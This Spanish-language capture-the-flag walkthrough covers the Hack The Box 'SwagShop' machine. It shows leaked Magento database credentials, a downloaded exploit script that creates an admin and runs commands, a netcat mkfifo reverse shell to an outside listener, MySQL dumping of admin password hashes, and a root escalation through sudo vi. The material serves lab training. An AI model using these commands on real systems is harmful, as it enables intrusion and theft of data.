Índice

Hack The Box – SwagShop

Dificultad: Fácil

  • Magento CMS Explotation (Creating an admin user)
  • Magento – Froghopper Attack (RCE)
  • Abusing sudoers (Privilege Escalation)

Fase de Reconocimiento

En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

				
					sudo mkdir SwagShop

				
			

Ahora, mediante la función mkt que tengo previamente definida en la .zshrc crearemos nuestros directorios de trabajo:

				
					sudo mkt
				
			

Esta función está definida para crearnos cuatro directorios (nmapcontentexploits y scripts) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB.

funcion mkt

Ping

Ejecutamos un ping y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux.
				
					ping -c 1 10.10.10.140

				
			
comando ping

Ahora vamos a ver mediante whatweb que más podemos ver:

				
					whatweb 10.10.10.140
				
			
comando whatweb

Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio http el cual está basado en Magento.

¿Qué es Magento?

Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes llevar a cabo todo tipo de proyectos relacionados con la creación de páginas web de venta en Internet.

Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web.

Nmap

Ahora mediante nmap realizaremos un escaneo de puertos:

				
					nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.140 -oG allPorts2

				
			
comando nmap

Vemos como nos reporta el puerto 80 y el puerto 20.

Intentamos ver el dominio http://10.10.10.140/ y vemos como nos redirige hasta swagshop.htb, pero no nos permite ver la página. Para ello vamos a registrar el dominio en nuestra carpeta /etc/hosts e introducimos la Ip de la máquina víctima y el host swagshop.htb:

swagshop writeup
				
					sudo nano /etc/hosts


				
			
hack the box shagshop

Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página.

hack the box swagshop

Pasamos a revisar la página. Como podemos ver la página es bastante funcional, se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registrarnos.

Gobuster

En primer lugar, usando la herramienta gobustervamos a tratar de realizar un escaneo genera en busca de alguna ruta que no se nos muestre en la página.

En caso de no tener la herramienta la instalamos:

				
					sudo apt install gobuster


				
			

Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado directory-list-2.3-medium.txt el cual es parte del repositorio seclists

Para descargar el repositorio:

				
					sudo apt install seclists

				
			

Ya tenemos gobuster y el repositorio seclists, ahora procederemos con el escaneo:

				
					gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


				
			
  • dir : Se usa para especificar la opción de directorios.
  • -u : Se emplea para especificar una url.
  • -w : Especifica el diccionario que vamos a usar.

Podemos ver que nos reporta una serie de directorios. Tras comprobarlos, veo que el directorio app contiene otros directorios.

Esto podemos confirmarlo volviendo a pasar el gobuster e incluyendo el directorio app en la url.

gobuster

Vamos a tratar de acceder al directorio app desde el navegador.

herramienta gobuster

Tras ir verificando los directorios, encontramos que dentro de etc/ en el archivo local.xml encontramos unas credenciales.

gobuster
gobuster

Vemos como nos reporta un username como root y una password:

swagshop htb

Guardaremos esta información en caso de que nos sea útil más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta escrita en python3, la cual nos permite crear una reverse shell en páginas creadas con Magento. Para ello, la herramienta nos registra automáticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define str tanto como usuario como contraseña.

Para descargar la herramienta en nuestro directorio actual:

				
					wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py

				
			

Ahora tenemos que darle permiso de ejecución:

				
					sudo chmod +x magento-oneshot.py

				
			

Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host de la víctima http://swagshop.htb/index.php y el comando que queramos ejecutar:

				
					python3 magento-oneshot.py --command whoami http://swagshop.htb/index.php

				
			
  • --command : Se usa para especificar un comando. En nuestro caso whoami.
magento exploit

NetCat

Vemos como funciona perfectamente y como nos reconoce como www-data.

Desde aquí ya podríamos hacer cositas, reportando distintos comandos, podríamos ir interactuando con el sistema, pero no es práctico. Para poder trabajar bien vamos a tratar de montar una shell más cómoda.

Para ello vamos a ver primero si disponemos de netcat para tratar de establecer una reverse shell:

				
					python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php


				
			

Ya sabemos que si disponemos de netcat. Ahora vamos a tratar de establecer una reverse shell. En el siguiente enlace, podréis ver un gran repertorio de herramientas desde las que establecer shells inversas.

Nosotros vamos a utilizar la de Netcat:

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Primero preparamos en una terminal aparte, con nuestro comando netcat nc en escucha por el puerto 8080.

				
					nc -lnvp 8080


				
			
netcat

Finalmente, especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, también especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, 8080.

				
					python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php



				
			
magento exploit

Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo.

nc lvnp

Tratamiento de la TTY

Para poder obtener una shell completa basada en bash, vamos a realizar un tratamiento de la TTY, utilizamos los siguientes comandos:
				
					script /dev/null -c bash


				
			
nc lvnp

Ahora pulsamos Cntl + z enviamos el proceso a segundo plano. Y ejecutamos lo siguiente:

nc lvnp

Ejecutamos el siguiente comando:

				
					stty raw -echo; fg



				
			
nc lvnp

Y terminamos reseteando la shell:

				
					reset xterm



				
			
netcat

Ahora ya tenemos una shell más estable y potente. También podemos cerrar la terminal de escucha por nc, ya que esta shell es independiente y no se nos caerá.

Como vemos la shell nos permite utilizar Cntrl + c sin expulsarnos, pero aún no nos permite utilizar Cntrl + l para limpiar la shell y si utilizamos un nano, vemos como tampoco aprovecha todo el monitor.

Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional.

Para ello primero solucionaremos el problema del Cntrl + l de la siguiente manera, si realizamos un echo $TERM vemos que tiene el valor dumb y nosotros queremos que igual que nuestra shell, valga xterm:

				
					echo $TERM



				
			
swagshop

Ahora ya podremos limpiar la pantalla mediante Cntrl + l. Bien, ya solo falta regular el ancho y la altura de nuestra shell, para ello primero debemos conocer que medidas tiene nuestro monitor para poder ajustarlo, para verlo, abrimos una terminal nueva desde nuestro directorio e introducimos:

				
					stty size



				
			
stty size

Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo realizamos lo siguiente:

				
					stty size



				
			
swagshop stty size
				
					stty rows 36 columns 133



				
			
swagshop stty size

Búsqueda de la primera Flag:

Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemente nos dirigimos al directorio raíz /:

				
					cd /



				
			
swagshop

Y vamos a la carpeta /home/haris donde encontraremos el primer archivo user.txt con la primera flag.

				
					cd /home/haris



				
			
				
					cat user.txt



				
			
swagshop flag

Escalada de privilegios:

Ahora nos faltaría autentificarnos como root. Tras comprobar que no funcionan las credenciales previamente recopiladas en la base de datos mysql para conectarnos de forma directa como root, así que vamos a tratar de utilizarlas para conectarnos mediante mysql.

				
					mysql -uroot -p




				
			
mysql
mysql

Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo local.xml nos permite conectarnos.

Una vez dentro de mysql vamos a ver las bases de datos:

				
					show databases;





				
			
swagshop mysql

Vemos como existe una base de datos llamada como la máquina swagshop. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante use:

				
					use swagshop;





				
			
swagshop mysql

Y ahora visualizamos las tablas:

				
					show tables;




				
			
swagshop mysql tables

Vemos como se nos reportan un mentón, pero una de las más interesantes es admin_user. Para ver más información:

				
					describe admin_user;




				
			
swagshop admin user

Vamos a ver que se nos reporta dentro de username y password:

				
					select username,password from admin_user;





				
			
swagshop mysql username password

Vemos como nos reporta dos usuarios, forme que es el usuario que creamos nosotros a través del script de python3 y haris el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña.

Al no poder encontrar la password decidí buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita registrarnos como sudo.

Lo primero es saber si tenemos algún tipo de privilegios:

				
					sudo -l





				
			
swagshop mysql username password

Vemos como nos permite ejecutar como root sin contraseña los siguientes directorios: /usr/bin/vi y /var/www/html/*.

				
					sudo /usr/bin/vi /var/www/html/*





				
			

Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos como root. Para poder buscar estas vulnerabilidades por la red debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando:

				
					lsb_release -a





				
			

Podemos ver que nos encontramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario que nos permite aprovechar los permisos anteriores y regístranos como root.

Aquí podéis ver la página donde reportan el binario: https://gtfobins.github.io/gtfobins/vi/

Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente:

				
					sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null





				
			
  • sudo /usr/bin/vi /var/www/html/* : Directorios donde tenemos los permisos.
  • -c ':!/bin/sh' /dev/null : Binario para tratar de registranos como root.

Genial, ya estamos como root. Podemos comprobarlo mediante el comando whoami. Finalmente, para encontrar nuestra flag, nos dirigimos al directorio /root donde encontramos el archivo root.txt con nuestra última flag.

				
					cd /root





				
			
				
					cat root.txt